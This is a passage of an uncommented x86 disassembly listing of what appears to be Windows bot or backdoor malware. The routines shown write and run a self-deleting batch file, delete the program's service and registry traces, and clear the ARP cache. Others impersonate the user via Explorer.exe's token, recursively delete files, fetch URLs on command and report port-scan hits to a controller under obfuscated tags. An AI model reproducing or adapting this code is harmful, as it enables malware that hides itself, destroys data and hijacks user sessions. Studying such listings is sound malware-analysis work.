[ebp+var_4], 1 inc dword ptr [esi] xor ebx, ebx jmp short loc_427ABD ; --------------------------------------------------------------------------- loc_427AA7: ; CODE XREF: sub_427A8D+36j mov dl, [eax] cmp dl, 3Fh jz short loc_427AB8 cmp dl, 2Ah jnz short loc_427ACA cmp dl, 3Fh jnz short loc_427ABB loc_427AB8: ; CODE XREF: sub_427A8D+1Fj inc ecx mov [edi], ecx loc_427ABB: ; CODE XREF: sub_427A8D+29j inc dword ptr [esi] loc_427ABD: ; CODE XREF: sub_427A8D+18j mov ecx, [edi] mov eax, [esi] cmp [ecx], bl jnz short loc_427AA7 jmp short loc_427ACA ; --------------------------------------------------------------------------- loc_427AC7: ; CODE XREF: sub_427A8D+40j inc eax mov [esi], eax loc_427ACA: ; CODE XREF: sub_427A8D+24j ; sub_427A8D+38j cmp byte ptr [eax], 2Ah jz short loc_427AC7 mov ecx, [edi] mov dl, [ecx] cmp dl, bl jnz short loc_427AEC cmp [eax], bl jz short loc_427ADF xor eax, eax jmp short loc_427B49 ; --------------------------------------------------------------------------- loc_427ADF: ; CODE XREF: sub_427A8D+4Cj cmp dl, bl jnz short loc_427AEC cmp [eax], bl jnz short loc_427AEC xor eax, eax inc eax jmp short loc_427B49 ; --------------------------------------------------------------------------- loc_427AEC: ; CODE XREF: sub_427A8D+48j ; sub_427A8D+54j ... push ecx push eax call sub_427B4E pop ecx test eax, eax pop ecx jnz short loc_427B33 loc_427AF9: ; CODE XREF: sub_427A8D+A4j inc dword ptr [edi] mov eax, [edi] jmp short loc_427B0B ; --------------------------------------------------------------------------- loc_427AFF: ; CODE XREF: sub_427A8D+86j cmp cl, 5Bh jz short loc_427B15 cmp dl, bl jz short loc_427B15 inc eax mov [edi], eax loc_427B0B: ; CODE XREF: sub_427A8D+70j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jnz short loc_427AFF loc_427B15: ; CODE XREF: sub_427A8D+75j ; sub_427A8D+79j cmp [eax], bl jz short loc_427B2A push eax push dword ptr [esi] call sub_427B4E neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_427B2F ; --------------------------------------------------------------------------- loc_427B2A: ; CODE XREF: sub_427A8D+8Aj mov [ebp+var_4], ebx xor eax, eax loc_427B2F: ; CODE XREF: sub_427A8D+9Bj cmp eax, ebx jnz short loc_427AF9 loc_427B33: ; CODE XREF: sub_427A8D+6Aj mov eax, [edi] cmp [eax], bl jnz short loc_427B46 mov eax, [esi] cmp [eax], bl jnz short loc_427B46 mov [ebp+var_4], 1 loc_427B46: ; CODE XREF: sub_427A8D+AAj ; sub_427A8D+B0j mov eax, [ebp+var_4] loc_427B49: ; CODE XREF: sub_427A8D+50j ; sub_427A8D+5Dj pop edi pop esi pop ebx leave retn sub_427A8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427B4E proc near ; CODE XREF: sub_404525+1AFp ; sub_404525+1CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax push esi mov esi, [ebp+arg_0] inc eax jmp short loc_427B95 ; --------------------------------------------------------------------------- loc_427B5A: ; CODE XREF: sub_427B4E+4Bj cmp eax, 1 jnz short loc_427BA3 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_427BA3 cmp cl, 2Ah jz short loc_427B7E cmp cl, 3Fh jz short loc_427B79 xor eax, eax cmp cl, dl setz al loc_427B79: ; CODE XREF: sub_427B4E+22j inc [ebp+arg_4] jmp short loc_427B91 ; --------------------------------------------------------------------------- loc_427B7E: ; CODE XREF: sub_427B4E+1Dj lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_427A8D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_427B91: ; CODE XREF: sub_427B4E+2Ej inc esi mov [ebp+arg_0], esi loc_427B95: ; CODE XREF: sub_427B4E+Aj mov cl, [esi] test cl, cl jnz short loc_427B5A jmp short loc_427BA3 ; --------------------------------------------------------------------------- loc_427B9D: ; CODE XREF: sub_427B4E+58j cmp eax, 1 jnz short loc_427BBF inc esi loc_427BA3: ; CODE XREF: sub_427B4E+Fj ; sub_427B4E+18j ... cmp byte ptr [esi], 2Ah jz short loc_427B9D cmp eax, 1 jnz short loc_427BBF mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_427BBF cmp byte ptr [esi], 0 jnz short loc_427BBF xor eax, eax inc eax jmp short loc_427BC1 ; --------------------------------------------------------------------------- loc_427BBF: ; CODE XREF: sub_427B4E+52j ; sub_427B4E+5Dj ... xor eax, eax loc_427BC1: ; CODE XREF: sub_427B4E+6Fj pop esi pop ebp retn sub_427B4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BC4 proc near ; CODE XREF: sub_418FA1+15Fp var_90 = byte ptr -90h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi mov edi, offset byte_445833 push 1 mov esi, offset dword_445734 push edi push esi push dword_445730 call sub_421340 add esp, 10h test eax, eax jz short loc_427BF4 push 7Fh jmp short loc_427C66 ; --------------------------------------------------------------------------- loc_427BF4: ; CODE XREF: sub_427BC4+2Aj lea eax, [ebp+var_10] push eax call dword_43713C ; GetLocalTime mov ax, [ebp+var_8] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_427C79 mov ecx, offset aAm ; "AM" movzx eax, ax loc_427C15: ; CODE XREF: sub_427BC4+BBj push ecx mov ebx, 80h movzx ecx, [ebp+var_6] push ecx push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "%.2d/%.2d/%4d, %.2d:%.2d %s" lea eax, [ebp+var_90] push ebx push eax call sub_429BBE lea eax, [ebp+var_90] push 1 push eax push edi push esi push dword_445730 call sub_421409 add esp, 38h test eax, eax jz short loc_427C74 push ebx lea eax, [ebp+var_90] loc_427C66: ; CODE XREF: sub_427BC4+2Ej push eax push offset dword_676418 call sub_429D10 add esp, 0Ch loc_427C74: ; CODE XREF: sub_427BC4+99j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_427C79: ; CODE XREF: sub_427BC4+47j movzx eax, ax sub eax, 0Ch jmp short loc_427C15 sub_427BC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C81 proc near ; CODE XREF: sub_418E0F+1Ap ; sub_427DAA+9Bp var_80C = byte ptr -80Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 80Ch push esi lea eax, [ebp+var_80C] push edi push eax push 400h call dword_4370B8 ; GetTempPathA lea eax, [ebp+var_108] push 104h xor esi, esi push eax push esi call dword_437070 ; GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA call sub_429B9C push 9 pop edi cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq mov ecx, edi idiv ecx push edx call sub_429B9C cdq idiv edi lea eax, [ebp+var_80C] push edx push offset dword_4439B4 push eax lea eax, [ebp+var_20C] push offset aSSIIII_bat ; "%s\\%s%i%i%i%i.bat" push eax call sub_429B03 add esp, 20h lea eax, [ebp+var_108] push 80h push eax call dword_437068 ; SetFileAttributesA push esi push esi push 2 push esi push esi lea eax, [ebp+var_20C] push 40000000h push eax call dword_43705C ; CreateFileA mov edi, eax cmp edi, esi jbe short loc_427DA6 lea eax, [ebp+var_108] cmp [ebp+arg_0], esi push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_108] push eax lea eax, [ebp+var_40C] jnz short loc_427D5E push offset a@echoOffRepeat ; "@echo off\r\n:Repeat\r\ndel \"%s\">nul\r\nping "... jmp short loc_427D63 ; --------------------------------------------------------------------------- loc_427D5E: ; CODE XREF: sub_427C81+D4j push offset a@echoOffRepe_0 ; "@echo off\r\n:Repeat\r\ndel \"%s\">nul\r\nif ex"... loc_427D63: ; CODE XREF: sub_427C81+DBj push eax call sub_429B03 add esp, 14h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_40C] push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_40C] push eax push edi call dword_437078 ; WriteFile push edi call dword_437044 ; CloseHandle push esi push esi lea eax, [ebp+var_20C] push esi push eax push esi push esi call dword_456E74 ; ShellExecuteA loc_427DA6: ; CODE XREF: sub_427C81+B4j pop edi pop esi leave retn sub_427C81 endp ; =============== S U B R O U T I N E ======================================= sub_427DAA proc near ; CODE XREF: sub_40A9FE+B1Bp ; sub_4182BA+645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_456F28 ; OpenSCManagerA push 0F01FFh push offset dword_4439CC push eax call dword_456DC8 ; OpenServiceA push eax call dword_456E50 ; DeleteService mov edi, offset byte_443B5B mov esi, offset dword_443A5C push edi push esi push dword_443A58 call sub_420F6C push edi push esi push 80000001h call sub_420F6C add esp, 18h cmp [esp+0Ch+arg_4], ebx jz short loc_427E2D push offset byte_445423 push offset dword_445324 push dword_445320 call sub_420F6C push offset byte_445833 push offset dword_445734 push dword_445730 call sub_420F6C add esp, 18h loc_427E2D: ; CODE XREF: sub_427DAA+54j push dword_457F64 call dword_4370DC ; ReleaseMutex cmp [esp+0Ch+arg_0], ebx jnz short loc_427E4B call sub_4235A4 push ebx call sub_427C81 pop ecx loc_427E4B: ; CODE XREF: sub_427DAA+93j pop edi pop esi pop ebx retn sub_427DAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E4F proc near ; CODE XREF: sub_41C238+C1p ; sub_41C238+E4p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_675FE0 push 0 push edi call sub_429760 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_427E74: ; CODE XREF: sub_427E4F+5Bj ; sub_427E4F+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_42BDD0 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_42BE50 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_427EB2 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_427E74 mov byte ptr [esi], 2Ch inc esi jmp short loc_427E74 ; --------------------------------------------------------------------------- loc_427EB2: ; CODE XREF: sub_427E4F+4Bj mov eax, edi jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427EB6: ; CODE XREF: sub_427E4F+72j mov cl, [esi] mov [eax], cl inc eax loc_427EBB: ; CODE XREF: sub_427E4F+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_427EB6 and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_427E4F endp ; =============== S U B R O U T I N E ======================================= sub_427ECD proc near ; CODE XREF: sub_418FA1+5C6p mov ecx, dword_456E14 xor eax, eax test ecx, ecx jz short locret_427EDB jmp ecx ; --------------------------------------------------------------------------- locret_427EDB: ; CODE XREF: sub_427ECD+Aj retn sub_427ECD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427EDC proc near ; CODE XREF: sub_40A9FE+2821p ; sub_41EBE9+33p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx push esi inc ebx push edi lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_456FCC ; GetIpNetTable sub eax, edi jz short loc_427F3B sub eax, 32h jz short loc_427F36 sub eax, 48h jnz short loc_427F36 push [ebp+var_8] call sub_4297B8 push [ebp+var_8] mov esi, eax push edi push esi call sub_429760 add esp, 10h cmp esi, edi jz short loc_427F36 lea eax, [ebp+var_8] push ebx push eax push esi call dword_456FCC ; GetIpNetTable test eax, eax jz short loc_427F3B loc_427F36: ; CODE XREF: sub_427EDC+28j ; sub_427EDC+2Dj ... mov [ebp+var_4], edi jmp short loc_427F51 ; --------------------------------------------------------------------------- loc_427F3B: ; CODE XREF: sub_427EDC+23j ; sub_427EDC+58j cmp [esi], edi jbe short loc_427F51 lea ebx, [esi+4] loc_427F42: ; CODE XREF: sub_427EDC+73j push ebx call dword_456FC8 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_427F42 loc_427F51: ; CODE XREF: sub_427EDC+5Dj ; sub_427EDC+61j push esi call sub_4298F2 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn sub_427EDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F60 proc near ; CODE XREF: sub_428017+9p var_110C = dword ptr -110Ch var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 110Ch call sub_429B60 push ebx push esi lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_110C] push 1000h push eax call dword_456F30 test eax, eax jz short loc_428007 mov edi, [ebp+var_4] push 0 shr edi, 2 pop esi jz short loc_428007 loc_427F95: ; CODE XREF: sub_427F60+A5j lea eax, [ebp+var_10C] push offset aUnknown ; "unknown" push eax call dword_4370B4 ; lstrcpyA push [ebp+esi*4+var_110C] push 0 push 411h call dword_437114 ; OpenProcess mov ebx, eax test ebx, ebx jz short loc_428002 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 4 push eax push ebx call dword_456EEC test eax, eax jz short loc_428002 lea eax, [ebp+var_10C] push 104h push eax push [ebp+var_8] push ebx call dword_456E20 lea eax, [ebp+var_10C] push eax push offset aExplorer_exe ; "Explorer.exe" call dword_437178 ; lstrcmpiA test eax, eax jz short loc_42800E loc_428002: ; CODE XREF: sub_427F60+5Fj ; sub_427F60+74j inc esi cmp esi, edi jb short loc_427F95 loc_428007: ; CODE XREF: sub_427F60+28j ; sub_427F60+33j xor eax, eax loc_428009: ; CODE XREF: sub_427F60+B5j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42800E: ; CODE XREF: sub_427F60+A0j mov eax, [ebp+esi*4+var_110C] jmp short loc_428009 sub_427F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428017 proc near ; CODE XREF: sub_40541D+Cp ; sub_423C7A:loc_423CEFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push edi call sub_427F60 test eax, eax jz short loc_428067 push eax push 1 push 1F0FFFh call dword_437114 ; OpenProcess mov edi, eax test edi, edi jz short loc_428067 lea eax, [ebp+var_4] push esi push eax push 0Ah push edi call dword_456F18 ; OpenProcessToken mov esi, dword_437044 test eax, eax jz short loc_428063 push [ebp+var_4] call dword_45700C ; ImpersonateLoggedOnUser push [ebp+var_4] call esi ; dword_437044 loc_428063: ; CODE XREF: sub_428017+3Cj push edi call esi ; dword_437044 pop esi loc_428067: ; CODE XREF: sub_428017+10j ; sub_428017+24j pop edi leave retn sub_428017 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42806A proc near ; CODE XREF: sub_423C7A+18p var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 178h push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_C], ebx call dword_456F28 ; OpenSCManagerA mov [ebp+var_4], eax loc_42808B: ; CODE XREF: sub_42806A+7Fj lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_178] push 168h push eax push 3 push 30h push [ebp+var_4] call dword_456EE0 ; EnumServicesStatusA test eax, eax jnz short loc_4280C1 call dword_437170 ; RtlGetLastWin32Error cmp eax, 0EAh jnz short loc_4280EB loc_4280C1: ; CODE XREF: sub_42806A+48j xor edi, edi cmp [ebp+var_8], ebx jle short loc_4280E6 lea esi, [ebp+var_178] loc_4280CE: ; CODE XREF: sub_42806A+7Aj push [ebp+arg_0] push dword ptr [esi] call dword_437178 ; lstrcmpiA test eax, eax jz short loc_4280FB inc edi add esi, 24h cmp edi, [ebp+var_8] jl short loc_4280CE loc_4280E6: ; CODE XREF: sub_42806A+5Cj cmp [ebp+var_C], ebx jnz short loc_42808B loc_4280EB: ; CODE XREF: sub_42806A+55j push [ebp+var_4] call dword_456DE4 ; CloseServiceHandle xor eax, eax loc_4280F6: ; CODE XREF: sub_42806A+A3j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4280FB: ; CODE XREF: sub_42806A+71j lea eax, [edi+edi*8] xor ecx, ecx cmp [ebp+eax*4+var_16C], 4 setz cl mov eax, ecx jmp short loc_4280F6 sub_42806A endp ; =============== S U B R O U T I N E ======================================= sub_42810F proc near ; CODE XREF: sub_40A9FE+4CD0p ; sub_42810F+C7p var_144 = dword ptr -144h var_140 = byte ptr -140h var_114 = byte ptr -114h arg_0 = dword ptr 4 sub esp, 144h push ebx mov ebx, dword_43714C push ebp push esi mov esi, [esp+150h+arg_0] push edi push esi call ebx ; dword_43714C push esi call sub_4293A0 add eax, 4 push eax call sub_4297B8 pop ecx mov edi, eax pop ecx push esi push edi call dword_4370B4 ; lstrcpyA mov ebp, dword_437090 push offset a_ ; "\\*.*" push edi call ebp ; dword_437090 lea eax, [esp+154h+var_140] push eax push edi call dword_437148 ; FindFirstFileA mov [esp+154h+var_144], eax loc_428162: ; CODE XREF: sub_42810F+F3j ; sub_42810F+10Fj cmp [esp+154h+var_144], 0FFFFFFFFh jz loc_428227 push esi call sub_4293A0 mov edi, eax lea eax, [esp+158h+var_114] push eax call sub_4293A0 lea eax, [edi+eax+1] push eax call sub_4297B8 add esp, 0Ch mov edi, eax push esi push edi call dword_4370B4 ; lstrcpyA push offset asc_44DABC ; "\\" push edi call ebp ; dword_437090 lea eax, [esp+154h+var_114] push eax push edi call ebp ; dword_437090 lea eax, [esp+154h+var_114] push offset dword_43AB8C push eax call dword_437178 ; lstrcmpiA test eax, eax jz short loc_42820A lea eax, [esp+154h+var_114] push offset a__ ; ".." push eax call dword_437178 ; lstrcmpiA test eax, eax jz short loc_42820A test [esp+154h+var_140], 10h jz short loc_4281DE push edi call sub_42810F pop ecx jmp short loc_4281F1 ; --------------------------------------------------------------------------- loc_4281DE: ; CODE XREF: sub_42810F+C4j push 80h push edi call dword_437068 ; SetFileAttributesA push edi call dword_437060 ; DeleteFileA loc_4281F1: ; CODE XREF: sub_42810F+CDj lea eax, [esp+154h+var_140] push eax push [esp+158h+var_144] call dword_437144 ; FindNextFileA test eax, eax jnz loc_428162 jmp short loc_428227 ; --------------------------------------------------------------------------- loc_42820A: ; CODE XREF: sub_42810F+A9j ; sub_42810F+BDj push edi call ebx ; dword_43714C lea eax, [esp+154h+var_140] push eax push [esp+158h+var_144] call dword_437144 ; FindNextFileA test eax, eax jnz loc_428162 push esi call ebx ; dword_43714C loc_428227: ; CODE XREF: sub_42810F+58j ; sub_42810F+F9j push [esp+154h+var_144] call dword_437140 ; FindClose push 10h push esi call dword_437068 ; SetFileAttributesA push esi call ebx ; dword_43714C pop edi pop esi pop ebp pop ebx add esp, 144h retn sub_42810F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428248 proc near ; DATA XREF: sub_40A9FE+8250o var_2B6C = byte ptr -2B6Ch var_45C = byte ptr -45Ch var_35C = byte ptr -35Ch var_2DC = byte ptr -2DCh var_25C = byte ptr -25Ch var_1DC = dword ptr -1DCh var_1D8 = byte ptr -1D8h var_158 = byte ptr -158h var_D8 = byte ptr -0D8h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2B6Ch call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_1DC] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi mov eax, [ebp+var_1DC] mov [ebp+arg_0], eax push edi lea eax, [ebp+var_35C] push ebx push eax mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C], offset asc_450DD8 ; "*/*" call sub_429760 push edi lea eax, [ebp+var_2DC] push ebx push eax call sub_429760 push edi lea eax, [ebp+var_25C] push ebx push eax call sub_429760 push 100h lea eax, [ebp+var_45C] push ebx push eax call sub_429760 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_429760 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_1D8] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1D8] push eax call dword_456DE8 ; InternetCrackUrlA test eax, eax jz loc_4283FA cmp [ebp+var_34], ebx jbe short loc_42832C push [ebp+var_34] lea eax, [ebp+var_35C] push [ebp+var_38] push eax call sub_429D10 add esp, 0Ch loc_42832C: ; CODE XREF: sub_428248+CDj cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_42834A push [ebp+var_28] lea eax, [ebp+var_2DC] push [ebp+var_2C] push eax call sub_429D10 add esp, 0Ch loc_42834A: ; CODE XREF: sub_428248+EBj cmp [ebp+var_20], ebx jbe short loc_428364 push [ebp+var_20] lea eax, [ebp+var_25C] push [ebp+var_24] push eax call sub_429D10 add esp, 0Ch loc_428364: ; CODE XREF: sub_428248+105j cmp [ebp+var_18], ebx jbe short loc_42837E push [ebp+var_18] lea eax, [ebp+var_45C] push [ebp+var_1C] push eax call sub_429D10 add esp, 0Ch loc_42837E: ; CODE XREF: sub_428248+11Fj push ebx push ebx lea eax, [ebp+var_25C] push 3 push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_35C] push esi push eax push dword_456ED0 call dword_456F00 ; InternetConnectA mov edi, eax cmp edi, ebx jz short loc_428415 push ebx lea eax, [ebp+var_C] push 200h push eax lea eax, [ebp+var_158] push eax lea eax, [ebp+var_45C] push ebx push eax push ebx push edi call dword_456EF0 ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_428421 push ebx push ebx push ebx push ebx push eax call dword_456E7C ; HttpSendRequestA test eax, eax push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" lea eax, [ebp+var_2B6C] jz short loc_4283F3 push offset aSUrlVisited_ ; "%s URL visited." jmp short loc_428431 ; --------------------------------------------------------------------------- loc_4283F3: ; CODE XREF: sub_428248+1A2j push offset aSFailedToGetRe ; "%s Failed to get requested URL from HTT"... jmp short loc_428431 ; --------------------------------------------------------------------------- loc_4283FA: ; CODE XREF: sub_428248+C4j push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" lea eax, [ebp+var_2B6C] push offset aSInvalidUrl_ ; "%s Invalid URL." push eax call sub_429B03 mov edi, [ebp+var_8] jmp short loc_428437 ; --------------------------------------------------------------------------- loc_428415: ; CODE XREF: sub_428248+160j push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push offset aSCouldNotOpenA ; "%s Could not open a connection." jmp short loc_42842B ; --------------------------------------------------------------------------- loc_428421: ; CODE XREF: sub_428248+188j push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push offset aSFailedToConne ; "%s Failed to connect to HTTP server." loc_42842B: ; CODE XREF: sub_428248+1D7j lea eax, [ebp+var_2B6C] loc_428431: ; CODE XREF: sub_428248+1A9j ; sub_428248+1B0j push eax call sub_429B03 loc_428437: ; CODE XREF: sub_428248+1CBj add esp, 0Ch cmp [ebp+var_54], ebx mov esi, offset aS_5 ; "%s" jnz short loc_428463 cmp [ebp+var_50], ebx jnz short loc_428468 lea eax, [ebp+var_2B6C] push eax lea eax, [ebp+var_D8] push esi push eax push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_428463: ; CODE XREF: sub_428248+1FAj cmp [ebp+var_50], ebx jz short loc_428482 loc_428468: ; CODE XREF: sub_428248+1FFj lea eax, [ebp+var_2B6C] push eax lea eax, [ebp+var_D8] push esi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_428482: ; CODE XREF: sub_428248+21Ej push edi call dword_456F70 ; InternetCloseHandle push [ebp+var_4] call dword_456F70 ; InternetCloseHandle push [ebp+var_58] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread pop edi pop esi pop ebx sub_428248 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284A5 proc near ; DATA XREF: sub_40A9FE+6D9Eo var_124 = dword ptr -124h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 124h mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_124] rep movsd mov dword ptr [eax+120h], 1 mov eax, [ebp+var_124] xor ecx, ecx mov [ebp+arg_0], eax cmp [ebp+var_8], ecx mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" mov edi, offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" mov esi, offset aSSPortsHitS ; "%s %s, ports hit: (%s)" jnz short loc_428523 cmp [ebp+var_C], ecx jnz short loc_428528 push [ebp+var_14] lea edx, [ebp+var_120] push [ebp+var_18] push edx push ecx push ecx lea ecx, [ebp+var_A0] push ecx push eax call sub_428660 push eax push ebx push edi lea eax, [ebp+var_A0] push esi push eax push [ebp+arg_0] call sub_41CE4A add esp, 34h xor ecx, ecx loc_428523: ; CODE XREF: sub_4284A5+43j cmp [ebp+var_C], ecx jz short loc_428563 loc_428528: ; CODE XREF: sub_4284A5+48j push [ebp+var_14] lea eax, [ebp+var_120] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push [ebp+var_C] push [ebp+var_8] push eax push [ebp+var_124] call sub_428660 push eax push ebx push edi lea eax, [ebp+var_A0] push esi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 34h loc_428563: ; CODE XREF: sub_4284A5+81j push [ebp+var_20] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread pop edi pop esi pop ebx sub_4284A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428577 proc near ; CODE XREF: sub_428660+116p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_4285A0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4372CC ; connect jmp loc_42865C ; --------------------------------------------------------------------------- loc_4285A0: ; CODE XREF: sub_428577+13j mov esi, [ebp+arg_0] lea eax, [ebp+var_8] xor edi, edi push eax inc edi push 8004667Eh push esi mov [ebp+var_8], edi call dword_437290 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_456EBC ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_456F1C ; select test eax, eax jnz short loc_428604 or eax, 0FFFFFFFFh jmp short loc_42865C ; --------------------------------------------------------------------------- loc_428604: ; CODE XREF: sub_428577+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_42860F loc_42860B: ; CODE XREF: sub_428577+B8j ; sub_428577+DCj mov eax, edi jmp short loc_42865C ; --------------------------------------------------------------------------- loc_42860F: ; CODE XREF: sub_428577+92j lea eax, [ebp+var_10C] push eax push esi call sub_4290BE ; __WSAFDIsSet test eax, eax jnz short loc_428631 lea eax, [ebp+var_210] push eax push esi call sub_4290BE ; __WSAFDIsSet test eax, eax jz short loc_42860B loc_428631: ; CODE XREF: sub_428577+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4372E8 ; getsockopt cmp eax, edi jz short loc_42860B mov eax, [ebp+var_4] neg eax sbb eax, eax loc_42865C: ; CODE XREF: sub_428577+24j ; sub_428577+8Bj ... pop edi pop esi leave retn sub_428577 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428660 proc near ; CODE XREF: sub_4284A5+61p ; sub_4284A5+A3p var_AC = dword ptr -0ACh var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = byte ptr 